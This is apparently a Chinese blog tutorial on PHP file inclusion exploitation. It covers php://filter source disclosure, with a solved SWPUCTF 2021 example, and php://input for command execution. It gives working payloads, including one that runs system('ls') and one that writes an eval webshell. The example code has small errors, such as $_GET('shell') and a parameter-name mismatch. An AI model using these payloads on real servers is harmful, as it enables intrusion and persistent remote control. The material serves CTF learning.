文件包含—利用
文件包含—利用

文件包含—利用

php://filter读取源码

php://filter协议

php://filter 协议的语法如下:

php://filter/<filter_name>/resource=<stream>

其中,<filter_name> 是要应用的过滤器的名称,可以使用多个过滤器,以管道 | 分隔。<stream> 是要过滤的数据流。

过滤器名称遵循以下格式:

<filter_type>.<filter_component>.<filter_operations>

  • <filter_type>:过滤器类型,如 convertstring 等。
  • <filter_component>:过滤器组件,如 base64-encodetoupper 等。
  • <filter_operations>:可以省略,用于进一步操作过滤器的参数,如 convert.iconv.utf-8/cp1252

过滤器的名称和参数取决于你想要实现的具体功能。可以使用不同的过滤器和参数组合来完成不同的数据转换和处理任务。

常用:

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

例题:

来源[SWPUCTF 2021 新生赛]include

index.php:

<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);      //关键show_source()该函数可以查看原代码
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

尝试传入: php://filter/convert.base64_encode/resource=flag.php

得到flag.php加密后的源码:PD9waHANCiRmbGFnPSdOU1NDVEZ7MTZjMTFmZGMtNmMyMi00MzE5LWIxMWYtYzk0ZmQ2NGJiYjlkfSc7

根据base64解码的到如下flag.php源码

flag.php

<?php
$flag='NSSCTF{16c11fdc-6c22-4319-b11f-c94fd64bbb9d}';
?>

php://input

php://input 是 PHP 中的一个流协议(Stream Protocol),用于获取 HTTP 请求的原始主体数据,主要用于 POST、PUT、DELETE 等 HTTP 请求方法。

使用 php://input 协议,可以通过类似文件操作的方式读取请求的原始主体数据。它提供了一个只读的数据流,可以将其用于处理非标准的请求格式或二进制数据。

要使用 php://input,可以使用以下代码将请求数据读取到一个变量中:

$input = file_get_contents("php://input");

返回的 $input 变量将包含请求的原始主体数据。

文件包含include+php://input实现远程命令执行

例如:

<?php 
$a=$_GET('shell');

include($a);
?>

上述代码意思就是:

接收get方法传递的a参数,并交给include进行文件包含:

1.当传递的内容是一个路径时将会执行该路径上的文件可以用于启动webshell

2.另外如果传递的内容时一个php脚本则将会执行该脚本

例如:

?a=<?php system("ls") ?>将会列出当前目录下所有文件

?a=<?php fputs(fopen("shell.php","w"),'<?php eval($_GET["shell"]) ?>'); ?> 将会在当前目录创建一个webshell

使用 $_GET 直接执行用户传递的参数作为文件包含的路径是危险的,容易受到远程代码执行攻击(Remote Code Execution)。 攻击者可以通过传递恶意的文件路径参数,导致非预期的文件包含,甚至可以执行恶意代码。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注